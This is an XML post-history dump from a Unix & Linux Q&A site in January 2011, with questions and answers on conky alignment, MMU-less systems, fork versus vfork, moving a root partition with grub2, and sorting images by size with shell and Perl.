  <row Id="11861" PostHistoryTypeId="2" PostId="5331" RevisionGUID="eb1b0872-cb04-498d-a4f0-c6e7b207b244" CreationDate="2011-01-02T11:07:40.330" UserId="12" Text="Say I want something like the following in my `.conkyrc`&#xD;&#xA;&#xD;&#xA;    NAME                PID       CPU%      MEM%&#xD;&#xA;    ${top name 1} ${top pid 1}   ${top cpu 1}    ${top mem 1}&#xD;&#xA;    ${top name 2} ${top pid 2}   ${top cpu 2}    ${top mem 2}&#xD;&#xA;    ${top name 3} ${top pid 3}   ${top cpu 3}    ${top mem 3}&#xD;&#xA;    ${top name 4} ${top pid 4}   ${top cpu 4}    ${top mem 4}&#xD;&#xA;&#xD;&#xA;Do I have to align the columns manually by adding space, or is there a way to tell conky to align things in columns. With fewer columns, I could just use `$alignc` and `$alignr` but I can't do that here..." />
  <row Id="11862" PostHistoryTypeId="1" PostId="5331" RevisionGUID="eb1b0872-cb04-498d-a4f0-c6e7b207b244" CreationDate="2011-01-02T11:07:40.330" UserId="12" Text="conky: proper column alignment" />
  <row Id="11863" PostHistoryTypeId="3" PostId="5331" RevisionGUID="eb1b0872-cb04-498d-a4f0-c6e7b207b244" CreationDate="2011-01-02T11:07:40.330" UserId="12" Text="éconkyà" />
  <row Id="11864" PostHistoryTypeId="6" PostId="5330" RevisionGUID="5070cf31-a2b3-4817-96b8-77e43df60990" CreationDate="2011-01-02T12:24:21.270" UserId="885" Comment="edited tags" Text="éopenglàésegmentationöfaultàévirtualglà" />
  <row Id="11865" PostHistoryTypeId="2" PostId="5332" RevisionGUID="f4068e55-7e7e-4051-b3a4-d5f760dc1185" CreationDate="2011-01-02T12:48:27.537" UserId="885" Text="As long as you stick to left-aligned columns or a non-proportional font, `${goto N}` works.&#xD;&#xA;&#xD;&#xA;    NAME${goto 100}PID${goto 200}  CPU%${goto 300}MEM%&#xD;&#xA;    ${top name 1}${goto 100}${top pid 1}${goto 200}${top cpu 1}${goto 300}${top mem 1}&#xD;&#xA;&#xD;&#xA;For right alignment, you can try playing with `alignr` and `offset`.&#xD;&#xA;" />
  <row Id="11866" PostHistoryTypeId="2" PostId="5333" RevisionGUID="ef00b6ce-6ffc-4ca7-a1f5-248bdceb26ff" CreationDate="2011-01-02T13:29:08.870" UserId="885" Text="You can run a multi-process operating system even with no hardware support (no [MMU](http://en.wikipedia.org/wiki/Memory_management_unit)), with all pointers representing a physical address. You do however lose several key features usually provided through the MMU:&#xD;&#xA;&#xD;&#xA;* Since a pointer always points to a specific place in RAM, you can't have swap (or only in a very limited way). Normally, the MMU raises an exception when it can't find a physical page for a given virtual address, and the OS-provided exception handler fetches the page from swap.&#xD;&#xA;* Since a pointer is dereferenced with no check, every process can access other processes's memory, and the kernel memory. Normally, the MMU raises an exception when it can't find a physical page for a given virtual address, and the OS-provided exception handler terminates the process for attempting an invalid access.&#xD;&#xA;* Since the same pointer has the same meaning in different processes, you can't easily implement [fork](http://en.wikipedia.org/wiki/Fork_%28operating_system%29). Normally, the effect of `fork` is to make a copy¹ of the process's physical memory, and create a new virtual memory map from the same virtual addresses to the new physical addresses.&#xD;&#xA;&#xD;&#xA;There are unix-like operating systems that work on systems with no MMU.&#xD;&#xA;&#xD;&#xA;* [MINIX](http://en.wikipedia.org/wiki/MINIX) is a unix variant originally developed by [Andrew Tanenbaum](http://en.wikipedia.org/wiki/Andrew_S._Tanenbaum) as a companion to his book [Operating Systems: Design and Implementation](http://en.wikipedia.org/wiki/Operating_Systems:_Design_and_Implementation). The [original versions](http://www.minix.org/) ran on the PCs of the time, which couldn't support virtual memory. (Given your interests, I recommend reading this book, even an older edition if that's all you can afford.)&#xD;&#xA;* [µCLinux](http://en.wikipedia.org/wiki/%CE%9CClinux) is a [variant of Linux for microcontrollers without an MMU](http://www.uclinux.org/). [µCLinux's limitations](http://www.uclinux.org/pub/uClinux/FAQ.shtml#2-5) include not implementing a general fork (only [`vfork`](http://en.wikipedia.org/wiki/Fork_%28operating_system%29#Vfork_and_page_sharing) is supported), and the absence of memory protection; but there is preemptive multitasking.&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;In modern unices, this is usually done [lazily](http://en.wikipedia.org/wiki/Lazy_evaluation) (copy-on-write), which again relies on the MMU raising an exception when it can't find a physical page.&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="11867" PostHistoryTypeId="2" PostId="5334" RevisionGUID="1ad93a84-7ee1-4dae-ae6f-e21eeca38914" CreationDate="2011-01-02T14:12:20.483" UserId="3240" Text="No. The right place to fill bug report is directly to the author. If the author uses a tracker for its plugins, it may be a better solution (it depends on each script maintainer)" />
  <row Id="11868" PostHistoryTypeId="2" PostId="5335" RevisionGUID="f1f7cf6c-70a1-4d89-b562-e1dd7f662e0d" CreationDate="2011-01-02T14:23:49.150" UserId="885" Text="Is that size as in file size, or size as in image dimensions?&#xD;&#xA;&#xD;&#xA;In zsh, to see all `.png` files in the current directory and its subdirectories, sorted by increasing file size:&#xD;&#xA;&#xD;&#xA;    echo **/*.png(oL)&#xD;&#xA;&#xD;&#xA;There's no convenient glob qualifier for grabbing every N files. Here's a loop that sets the array `$a` to contain every 50th file (starting with the largest).&#xD;&#xA;&#xD;&#xA;    a=() i=0&#xD;&#xA;    for x in **/*.png(OL); do&#xD;&#xA;      ((i%50)) || a+=$x&#xD;&#xA;      ((++i))&#xD;&#xA;    done&#xD;&#xA;    my-favorite-image-viewer $a&#xD;&#xA;&#xD;&#xA;Without zsh or GNU find, there's no easy way of sorting `find` output by metadata (there's `find -ls` or `find -exec ls` or `find -exec stat`, but they might not work with files containing non-printable characters, so I don't like to recommend them). Here's a way to do it in Perl.&#xD;&#xA;&#xD;&#xA;    find . -name '*.png' |&#xD;&#xA;    perl -e '&#xD;&#xA;        $, = &quot;\n&quot;;  # separate elements by newlines in the output&#xD;&#xA;        print  # print…&#xD;&#xA;            sort {-s $a &lt;=&gt; -s $b}  # …sorted by file size…&#xD;&#xA;                map {chomp;$_} &lt;&gt;  #…the input lines (with the newline bitten off)&#xD;&#xA;    '&#xD;&#xA;And here's a way to view every 50th file (starting with the largest):&#xD;&#xA;&#xD;&#xA;    find . -name '*.png' |&#xD;&#xA;    perl -e '&#xD;&#xA;        $, = &quot;\n&quot;;&#xD;&#xA;        exec &quot;my-favorite-image-viewer&quot;,&#xD;&#xA;            map {$i++ % 50 ? () : $_}  # every 50&#xD;&#xA;                sort {-s $b &lt;=&gt; -s $a} map {chomp;$_} &lt;&gt;&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;Another approach would be to create symbolic links in a single directory, with names ordered by file size. In zsh:&#xD;&#xA;&#xD;&#xA;    mkdir tmp &amp;&amp; cd tmp&#xD;&#xA;    i=1000000  # the extra 1 on the left ensures alignment&#xD;&#xA;    for x in ../**/*(oL); do&#xD;&#xA;        ((++i))&#xD;&#xA;        ln -s $x ${i#1}.png&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;With Perl:&#xD;&#xA;&#xD;&#xA;    mkdir tmp &amp;&amp; cd tmp&#xD;&#xA;    find .. -name '*.png' |&#xD;&#xA;    perl -e '&#xD;&#xA;        $, = &quot;\n&quot;;&#xD;&#xA;        for $x (sort {-s $a &lt;=&gt; -s $b} map {chomp;$_} &lt;&gt;) {&#xD;&#xA;            symlink $x, sprintf(&quot;%06d&quot;, ++$i);&#xD;&#xA;        }&#xD;&#xA;    '&#xD;&#xA;" />
  <row Id="11869" PostHistoryTypeId="2" PostId="5336" RevisionGUID="ae1cf143-d22a-42d8-8f5b-339126dcfefe" CreationDate="2011-01-02T15:24:44.387" UserId="2871" Text="Hi All,  &#xD;&#xA;&#xD;&#xA;I would like to know how paging in managed in the absence of swapping. If that is the case, How will a page fault be managed?  &#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen&#xD;&#xA;" />
  <row Id="11870" PostHistoryTypeId="1" PostId="5336" RevisionGUID="ae1cf143-d22a-42d8-8f5b-339126dcfefe" CreationDate="2011-01-02T15:24:44.387" UserId="2871" Text="How is paging managed in the absence of swapping?" />
  <row Id="11871" PostHistoryTypeId="3" PostId="5336" RevisionGUID="ae1cf143-d22a-42d8-8f5b-339126dcfefe" CreationDate="2011-01-02T15:24:44.387" UserId="2871" Text="éswapàépageöfaultàépagingà" />
  <row Id="11872" PostHistoryTypeId="2" PostId="5337" RevisionGUID="ee06cb86-4ab6-408c-9904-fbb253dc94e2" CreationDate="2011-01-02T15:39:21.407" UserId="2871" Text="Hi All,  &#xD;&#xA;&#xD;&#xA;I would like to understand in detail the difference between fork() and vfork(). I was not able to digest the man page completely.  &#xD;&#xA;&#xD;&#xA;I would also like to clarify one of my colleagues comment &quot;__In current Linux, there is no vfork(), even if you call it, it will internally call fork()__.&quot;  &#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen" />
  <row Id="11873" PostHistoryTypeId="1" PostId="5337" RevisionGUID="ee06cb86-4ab6-408c-9904-fbb253dc94e2" CreationDate="2011-01-02T15:39:21.407" UserId="2871" Text="What's the difference between fork() and vfork()? " />
  <row Id="11874" PostHistoryTypeId="3" PostId="5337" RevisionGUID="ee06cb86-4ab6-408c-9904-fbb253dc94e2" CreationDate="2011-01-02T15:39:21.407" UserId="2871" Text="élinuxàéforkàévforkà" />
  <row Id="11875" PostHistoryTypeId="5" PostId="5297" RevisionGUID="69ab2b7f-2b86-4987-9366-660b0662133f" CreationDate="2011-01-02T15:49:08.953" UserId="2881" Comment="Describe my implementation of Maciej's solution" Text="Hi,&#xD;&#xA;&#xD;&#xA;does anybody have a suggestion for how to move the root partition to a new drive and set up grub2 to boot on that drive? I seem to have no luck instructing grub-mkconfig what it is I want to do (e.g. chroot'int into my new root just confuses all the scripts).&#xD;&#xA;&#xD;&#xA;**Background** I am running Debian Squeeze on a headless low-power NAS. My current setup is `/` on `sda0` and `/boot` on `sde0` (a CF card): I needed the separate `/boot` because `sd[a-d]` need to do a delayed spin-up. Now I've found an old 2.5&quot; IDE disk to use as `/` including `/boot` to allow me to spin all the big disks down. &#xD;&#xA;&#xD;&#xA;**What I've tried** Basically I went&#xD;&#xA;&#xD;&#xA;    mount -o rw /dev/sdf5 /mnt/newroot&#xD;&#xA;    cp -ax / /mnt/newroot&#xD;&#xA;    cp -ax /boot /mnt/newroot/boot&#xD;&#xA;&#xD;&#xA;Then I tried &#xD;&#xA; &#xD;&#xA;    chroot /mnt/newroot&#xD;&#xA;    update-grub&#xD;&#xA;&#xD;&#xA;But that failed with grub asking if root was mounted.&#xD;&#xA;Then I did a half-hearted attempt at setting up `/mnt/newroot/grub/grub.cfg` to find the kernel image on `sdf5`, followed by a `grub-install --root-directory=/mnt/newroot /dev/sdf`. But this just landed me a grub rescue prompt when I tried booting from `sdf`.&#xD;&#xA;&#xD;&#xA;My backup plan is to just reinstall, so a bonus question (no checkmarks for this one): What do I have to do to get my lvm2 and mdadm config across? Is it all stored in the filesystems (and will it be automatically discovered), or do I need to take of it myself?&#xD;&#xA;&#xD;&#xA;**Solution** (thanks to Maciej Piechotka): As Maciej points out, I need to to a proper chroot for all the grub tools to work. For reference, this is how I did it:&#xD;&#xA;&#xD;&#xA;    janus@nasguld:/mnt/newroot$ sudo cp -ax / /mnt/newroot&#xD;&#xA;    janus@nasguld:/mnt/newroot$ sudo cp -ax /boot /mnt/newroot&#xD;&#xA;&#xD;&#xA;All the files are now copied (see [here][1] for a discussion of copy strategies). Fix the new `etc/fstab` to point to new root:&#xD;&#xA;&#xD;&#xA;    janus@nasguld:/mnt/newroot$ diff -u etc/fstab.old  etc/fstab&#xD;&#xA;        -UUID=399b6a6d-c067-4caf-bb3e-85317d66cf46 /     ext3 errors=remount-ro         0 1&#xD;&#xA;        -UUID=b394b614-a977-4860-bbd5-7862d2b7e02a /boot ext3 defaults                  0 2&#xD;&#xA;        +UUID=b9d62595-e95c-45b1-8a46-2c0b37fcf153 /     ext3 noatime,errors=remount-ro 0 1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Finally, mount `dev`,`sys` and `proc` to the new root and chroot:&#xD;&#xA;&#xD;&#xA;    janus@nasguld:/mnt/newroot$ sudo mount -o bind /dev /mnt/newroot/dev&#xD;&#xA;    janus@nasguld:/mnt/newroot$ sudo mount -t proc none  /mnt/newroot/proc&#xD;&#xA;    janus@nasguld:/mnt/newroot$ sudo mount -t sysfs none /mnt/newroot/sys&#xD;&#xA;    janus@nasguld:/mnt/newroot$ sudo parted /dev/sdb set 5 boot on &#xD;&#xA;    janus@nasguld:/mnt/newroot$ sudo chroot .&#xD;&#xA;&#xD;&#xA;We are now chrooted to the future root exactly as it will look. According to Maciej, it should be ok to just call `grub-install`, but I did an `update-grub` first to get a look at the generated `/boot/grub/grub.cfg` before installing the bootloader. I am not sure it will be automatically updated?&#xD;&#xA; &#xD;&#xA;    root@nasguld:/# update-grub&#xD;&#xA;    root@nasguld:/# grub-install /dev/sdb&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/HOWTO/Hard-Disk-Upgrade/copy.html" />
  <row Id="11877" PostHistoryTypeId="5" PostId="5336" RevisionGUID="0764285a-cebe-4e1d-8e50-4e8d4b32fabb" CreationDate="2011-01-02T16:27:44.263" UserId="1207" Comment="deleted 52 characters in body" Text="How is paging managed in the absence of swapping. If that is the case, how will a page fault be managed?  &#xD;&#xA;" />
  <row Id="11878" PostHistoryTypeId="5" PostId="5337" RevisionGUID="ea1a26fa-5dc8-4b7d-8a3c-731b42d4054f" CreationDate="2011-01-02T16:28:40.487" UserId="1207" Comment="deleted 29 characters in body; edited tags" Text="I would like to understand in detail the difference between fork() and vfork(). I was not able to digest the man page completely.  &#xD;&#xA;&#xD;&#xA;I would also like to clarify one of my colleagues comment &quot;__In current Linux, there is no vfork(), even if you call it, it will internally call fork()__.&quot;  &#xD;&#xA;" />
  <row Id="11879" PostHistoryTypeId="6" PostId="5337" RevisionGUID="ea1a26fa-5dc8-4b7d-8a3c-731b42d4054f" CreationDate="2011-01-02T16:28:40.487" UserId="1207" Comment="deleted 29 characters in body; edited tags" Text="élinuxàévforkàéforkà" />
  <row Id="11880" PostHistoryTypeId="5" PostId="5297" RevisionGUID="9c3ac812-df78-4f54-95db-ae67c6a09f4b" CreationDate="2011-01-02T16:30:08.953" UserId="1207" Comment="deleted 7 characters in body" Text="Does anybody have a suggestion for how to move the root partition to a new drive and set up grub2 to boot on that drive? I seem to have no luck instructing grub-mkconfig what it is I want to do (e.g. chroot'int into my new root just confuses all the scripts).&#xD;&#xA;&#xD;&#xA;**Background** I am running Debian Squeeze on a headless low-power NAS. My current setup is `/` on `sda0` and `/boot` on `sde0` (a CF card): I needed the separate `/boot` because `sd[a-d]` need to do a delayed spin-up. Now I've found an old 2.5&quot; IDE disk to use as `/` including `/boot` to allow me to spin all the big disks down. &#xD;&#xA;&#xD;&#xA;**What I've tried** Basically I went&#xD;&#xA;&#xD;&#xA;    mount -o rw /dev/sdf5 /mnt/newroot&#xD;&#xA;    cp -ax / /mnt/newroot&#xD;&#xA;    cp -ax /boot /mnt/newroot/boot&#xD;&#xA;&#xD;&#xA;Then I tried &#xD;&#xA; &#xD;&#xA;    chroot /mnt/newroot&#xD;&#xA;    update-grub&#xD;&#xA;&#xD;&#xA;But that failed with grub asking if root was mounted.&#xD;&#xA;Then I did a half-hearted attempt at setting up `/mnt/newroot/grub/grub.cfg` to find the kernel image on `sdf5`, followed by a `grub-install --root-directory=/mnt/newroot /dev/sdf`. But this just landed me a grub rescue prompt when I tried booting from `sdf`.&#xD;&#xA;&#xD;&#xA;My backup plan is to just reinstall, so a bonus question (no checkmarks for this one): What do I have to do to get my lvm2 and mdadm config across? Is it all stored in the filesystems (and will it be automatically discovered), or do I need to take of it myself?&#xD;&#xA;&#xD;&#xA;**Solution** (thanks to Maciej Piechotka): As Maciej points out, I need to to a proper chroot for all the grub tools to work. For reference, this is how I did it:&#xD;&#xA;&#xD;&#xA;    janus@nasguld:/mnt/newroot$ sudo cp -ax / /mnt/newroot&#xD;&#xA;    janus@nasguld:/mnt/newroot$ sudo cp -ax /boot /mnt/newroot&#xD;&#xA;&#xD;&#xA;All the files are now copied (see [here][1] for a discussion of copy strategies). Fix the new `etc/fstab` to point to new root:&#xD;&#xA;&#xD;&#xA;    janus@nasguld:/mnt/newroot$ diff -u etc/fstab.old  etc/fstab&#xD;&#xA;        -UUID=399b6a6d-c067-4caf-bb3e-85317d66cf46 /     ext3 errors=remount-ro         0 1&#xD;&#xA;        -UUID=b394b614-a977-4860-bbd5-7862d2b7e02a /boot ext3 defaults                  0 2&#xD;&#xA;        +UUID=b9d62595-e95c-45b1-8a46-2c0b37fcf153 /     ext3 noatime,errors=remount-ro 0 1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Finally, mount `dev`,`sys` and `proc` to the new root and chroot:&#xD;&#xA;&#xD;&#xA;    janus@nasguld:/mnt/newroot$ sudo mount -o bind /dev /mnt/newroot/dev&#xD;&#xA;    janus@nasguld:/mnt/newroot$ sudo mount -t proc none  /mnt/newroot/proc&#xD;&#xA;    janus@nasguld:/mnt/newroot$ sudo mount -t sysfs none /mnt/newroot/sys&#xD;&#xA;    janus@nasguld:/mnt/newroot$ sudo parted /dev/sdb set 5 boot on &#xD;&#xA;    janus@nasguld:/mnt/newroot$ sudo chroot .&#xD;&#xA;&#xD;&#xA;We are now chrooted to the future root exactly as it will look. According to Maciej, it should be ok to just call `grub-install`, but I did an `update-grub` first to get a look at the generated `/boot/grub/grub.cfg` before installing the bootloader. I am not sure it will be automatically updated?&#xD;&#xA; &#xD;&#xA;    root@nasguld:/# update-grub&#xD;&#xA;    root@nasguld:/# grub-install /dev/sdb&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/HOWTO/Hard-Disk-Upgrade/copy.html" />
  <row Id="11881" PostHistoryTypeId="2" PostId="5339" RevisionGUID="de4badd3-8e1f-42a8-88c6-75b9b1415b88" CreationDate="2011-01-02T16:33:25.467" UserId="885" Text="Man pages are usually terse reference documents. [Wikipedia](http://en.wikipedia.org/wiki/Fork_%28operating_system%29) is a better place to turn to for conceptual explanations.&#xD;&#xA;&#xD;&#xA;Fork duplicates a process: it creates a child process which is almost identical to the parent process (the most obvious difference is that the new process has a different process ID). In particular, fork (conceptually) must copy all the parent process's memory.&#xD;&#xA;&#xD;&#xA;As this is rather costly, vfork was invented to handle a common special case where the copy is not necessary. Often, the first thing the child process does is to load a new program image, so this is what happens:&#xD;&#xA;&#xD;&#xA;    if (fork()) {&#xD;&#xA;        # parent process …&#xD;&#xA;    } else {&#xD;&#xA;        # child process (with a new copy of the process memory)&#xD;&#xA;        execve(&quot;/bin/sh&quot;, …);  # discard the process memory&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The `execve` call loads a new executable program, and this replaces the process's code and data memory by the code of the new executable and a fresh data memory. So the whole memory copy created by `fork` was all for nothing.&#xD;&#xA;&#xD;&#xA;Thus the [`vfork`](http://pubs.opengroup.org/onlinepubs/009695399/functions/vfork.html) call was invented. It does not make a copy of the memory. Therefore `vfork` is cheap, but it's hard to use since you have to make sure you don't access any of the process's stack or heap space in the child process. Note that even reading could be a problem, because the parent process keeps executing. For example, this code is broken (it may or may not work depending on whether the child or the parent gets a time slice first):&#xD;&#xA;&#xD;&#xA;    if (vfork()) {&#xD;&#xA;        # parent process&#xD;&#xA;        cmd = NULL; # modify the only copy of cmd&#xD;&#xA;    } else {&#xD;&#xA;        # child process&#xD;&#xA;        execve(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-c&quot;, cmd, (char*)NULL);  # read the only copy of cmd&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Since the invention of vfork, better optimizations have been invented. Most modern systems, including Linux, use a form of [copy-on-write](http://en.wikipedia.org/wiki/Copy-on-write), where the pages in the process memory are not copied at the time of the `fork` call, but later when the parent or child first writes to the page. That is, each page starts out as shared, and remains shared until either process writes to that page; the process that writes gets a new physical page (with the same virtual address). Copy-on-write makes vfork mostly useless, since `fork` won't make any copy in the cases where `vfork` would be usable.&#xD;&#xA;&#xD;&#xA;Linux does retain vfork. The `fork` system call must still make a copy of the process's virtual memory table, even if it doesn't copy the actual memory; `vfork` doesn't even need to do this. The performance improvement is negligible in most applications.&#xD;&#xA;" />
  <row Id="11882" PostHistoryTypeId="5" PostId="5329" RevisionGUID="ff6e5622-29e2-41e7-aa6a-deb2786a4721" CreationDate="2011-01-02T16:39:02.937" UserId="1207" Comment="added 3 characters in body" Text="I am using `sendmail` in RHEL 5. I have three mail accounts for the users jack, bob and &#xD;&#xA;alice. I want to make sure that user bob can send mail to alice but jack can't send mail to alice. But user jack can send mail to bob. How can i do this? " />
  <row Id="11883" PostHistoryTypeId="5" PostId="1954" RevisionGUID="aa8a0d11-41ca-47d5-908f-b19fa51798dc" CreationDate="2011-01-02T16:52:49.880" UserId="1327" Comment="added 508 characters in body; deleted 378 characters in body" Text="&#xD;&#xA;Archlinux&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Website:** http://www.archlinux.org/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Philosophy**:&#xD;&#xA; &#xD;&#xA; - [The Arch Way][9]&#xD;&#xA; - [The Arch Way (v2.0) ][4] &#xD;&#xA; &#xD;&#xA;**[History][2]:**&#xD;&#xA;&#xD;&#xA;&gt; Arch Linux was founded by Canadian&#xD;&#xA;&gt; programmer, Judd Vinet. Its first&#xD;&#xA;&gt; formal release, Arch Linux 0.1, was on&#xD;&#xA;&gt; March 11, 2002. Although Arch is&#xD;&#xA;&gt; completely independent, it draws&#xD;&#xA;&gt; inspiration from the simplicity of&#xD;&#xA;&gt; other distributions including&#xD;&#xA;&gt; Slackware, CRUX and BSD.&#xD;&#xA;&gt; &#xD;&#xA;&gt; In 2007, Judd Vinet stepped down as&#xD;&#xA;&gt; Project Lead to pursue other interests&#xD;&#xA;&gt; and was replaced by Aaron Griffin who&#xD;&#xA;&gt; continues to lead the project today.&#xD;&#xA;&#xD;&#xA;**Technical Details:**  &#xD;&#xA;&#xD;&#xA; - Package Manager: *[Pacman][3]*&#xD;&#xA; - Release Cycle: *Rolling Release*&#xD;&#xA;&#xD;&#xA;**Documentation:**&#xD;&#xA;&#xD;&#xA; - [Official Installation Guide][5]&#xD;&#xA; - [Forums][6]&#xD;&#xA; - [Wiki][7]&#xD;&#xA;&#xD;&#xA;**Community:**&#xD;&#xA;&#xD;&#xA; - [Mailing Lists][7]&#xD;&#xA; - [IRC Channels][8]&#xD;&#xA;&#xD;&#xA;**Common Tasks:**&#xD;&#xA;&#xD;&#xA;  - Refresh the package list:&#xD;&#xA;&#xD;&#xA;    `# pacman -Sy`&#xD;&#xA;&#xD;&#xA;  - Install or Update a package:&#xD;&#xA;&#xD;&#xA;    `# pacman -S package_name`&#xD;&#xA;&#xD;&#xA;  - Update all packages on the system&#xD;&#xA;&#xD;&#xA;    `# pacman -Su`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![ArchLinux][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/2cyqq.png&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/ArchLinux:About#History&#xD;&#xA;  [3]: http://unix.stackexchange.com/questions/tagged/pacman&#xD;&#xA;  [4]: https://wiki.archlinux.org/index.php/The_Arch_Way&#xD;&#xA;  [5]: https://wiki.archlinux.org/index.php/Official_Arch_Linux_Install_Guide&#xD;&#xA;  [5]: http://bbs.archlinux.org&#xD;&#xA;  [6]: http://wiki.archlinux.org&#xD;&#xA;  [7]: http://mailman.archlinux.org/mailman/listinfo/&#xD;&#xA;  [8]: https://wiki.archlinux.org/index.php/IRC_Channels&#xD;&#xA;  [9]: https://wiki.archlinux.org/index.php/The_Arch_Way" />
  <row Id="11884" PostHistoryTypeId="2" PostId="5340" RevisionGUID="a42d9afc-2177-4c24-ab52-30512197f0c8" CreationDate="2011-01-02T16:56:02.257" UserId="2932" Text="Swapping, allows one to move unused *pages* out from memory and onto a disk. However, it is not essential, to the actual *paging* operation, which will happen even if there is no swap." />
  <row Id="11885" PostHistoryTypeId="5" PostId="1954" RevisionGUID="537153f0-e03b-4bdc-82b6-599e3cde8e9e" CreationDate="2011-01-02T16:58:46.300" UserId="1327" Comment="added 88 characters in body" Text="Archlinux&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Website:** http://www.archlinux.org/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Philosophy**:&#xD;&#xA; &#xD;&#xA; - [The Arch Way][9]&#xD;&#xA; - [The Arch Way (v2.0) ][4] &#xD;&#xA; &#xD;&#xA;**[History][2]:**&#xD;&#xA;&#xD;&#xA;&gt; Arch Linux was founded by Canadian&#xD;&#xA;&gt; programmer, Judd Vinet. Its first&#xD;&#xA;&gt; formal release, Arch Linux 0.1, was on&#xD;&#xA;&gt; March 11, 2002. Although Arch is&#xD;&#xA;&gt; completely independent, it draws&#xD;&#xA;&gt; inspiration from the simplicity of&#xD;&#xA;&gt; other distributions including&#xD;&#xA;&gt; Slackware, CRUX and BSD.&#xD;&#xA;&gt; &#xD;&#xA;&gt; In 2007, Judd Vinet stepped down as&#xD;&#xA;&gt; Project Lead to pursue other interests&#xD;&#xA;&gt; and was replaced by Aaron Griffin who&#xD;&#xA;&gt; continues to lead the project today.&#xD;&#xA;&#xD;&#xA;**Technical Details:**  &#xD;&#xA;&#xD;&#xA; - Package Manager: *[Pacman][3]*&#xD;&#xA; - Release Cycle: *Rolling Release*&#xD;&#xA; - [Related Projects][10]&#xD;&#xA;&#xD;&#xA;**Documentation:**&#xD;&#xA;&#xD;&#xA; - [Official Installation Guide][5]&#xD;&#xA; - [Forums][6]&#xD;&#xA; - [Wiki][7]&#xD;&#xA;&#xD;&#xA;**Community:**&#xD;&#xA;&#xD;&#xA; - [Mailing Lists][7]&#xD;&#xA; - [IRC Channels][8]&#xD;&#xA;&#xD;&#xA;**Common Tasks:**&#xD;&#xA;&#xD;&#xA;  - Refresh the package list:&#xD;&#xA;&#xD;&#xA;    `# pacman -Sy`&#xD;&#xA;&#xD;&#xA;  - Install or Update a package:&#xD;&#xA;&#xD;&#xA;    `# pacman -S package_name`&#xD;&#xA;&#xD;&#xA;  - Update all packages on the system&#xD;&#xA;&#xD;&#xA;    `# pacman -Su`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![ArchLinux][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/2cyqq.png&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/ArchLinux:About#History&#xD;&#xA;  [3]: http://unix.stackexchange.com/questions/tagged/pacman&#xD;&#xA;  [4]: https://wiki.archlinux.org/index.php/The_Arch_Way&#xD;&#xA;  [5]: https://wiki.archlinux.org/index.php/Official_Arch_Linux_Install_Guide&#xD;&#xA;  [5]: http://bbs.archlinux.org&#xD;&#xA;  [6]: http://wiki.archlinux.org&#xD;&#xA;  [7]: http://mailman.archlinux.org/mailman/listinfo/&#xD;&#xA;  [8]: https://wiki.archlinux.org/index.php/IRC_Channels&#xD;&#xA;  [9]: https://wiki.archlinux.org/index.php/The_Arch_Way&#xD;&#xA;  [10]: https://wiki.archlinux.org/index.php/Related_Projects" />
  <row Id="11886" PostHistoryTypeId="2" PostId="5341" RevisionGUID="049f4d7a-7bb7-41df-96b3-8d5af30ff556" CreationDate="2011-01-02T17:13:41.710" UserId="1207" Text="If you don't have GNU tools or if your filenames contain lots of special characters, I would use one of [Gilles' excellent solutions][1].  &#xD;&#xA;&#xD;&#xA;However, here is one solution using GNU `find`, `sort`, `cut` and `awk`-- basically the set of tools that [alex suggested][2]: &#xD;&#xA;&#xD;&#xA;    $ find -iname &quot;*.png&quot; -exec ls -s {} + | sort -n | cut -d&quot; &quot; --complement -f1 | awk '{ if ( NR % 50 == 0 ) print}' | xargs -d&quot;\n&quot; eog&#xD;&#xA;&#xD;&#xA;Here I've used [eye-of-gnome][3] (`eog`) as the image viewer, mostly because it was one of the few I could find that take multiple command line arguments and does something sensible with it.&#xD;&#xA;&#xD;&#xA;I'm sure one could remove the `sort` and the `cut` in favor of some more `awk` code.  To be completely honest, I'm not sure how this solution will interact with whitespace.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/5319/best-way-to-work-through-display-a-tree-of-images-sorted-by-size/5335#5335&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/5319/best-way-to-work-through-display-a-tree-of-images-sorted-by-size/5324#5324&#xD;&#xA;  [3]: http://projects.gnome.org/eog/" />
  <row Id="11887" PostHistoryTypeId="2" PostId="5342" RevisionGUID="dc46a0fa-4978-4df1-aed8-d43053c3ca0b" CreationDate="2011-01-02T19:39:08.470" UserId="3417" Text="The more conventional way to do this would be by imposing hard limits via `ulimit` -- it can even stop a forkbomb. As Marcel Stimberg said, verynice is a similar utility but focuses solely on nice value rather than, say, limiting memory usage which was included in your question." />
  <row Id="11888" PostHistoryTypeId="2" PostId="5343" RevisionGUID="ae20bf70-b6fe-4e7a-b34b-d8dd2daaed49" CreationDate="2011-01-02T20:17:15.210" UserId="1535" Text="With a typical USB hard drive enclosure, is the full range of drive power management functionality available?&#xD;&#xA;&#xD;&#xA;In what may be an unrelated matter: is it possible to suspend a PC without unmounting an attached USB-powered drive, and then remounting it on resume?  This is the behaviour I'm currently seeing (running Ubuntu linux 10.10).&#xD;&#xA;&#xD;&#xA;Are there certain models or brands that provide more complete control over this aspect of drive operation?  My Friendly Neighbourhood Computer Store carries (part of) the Vantec Nexstar product line." />
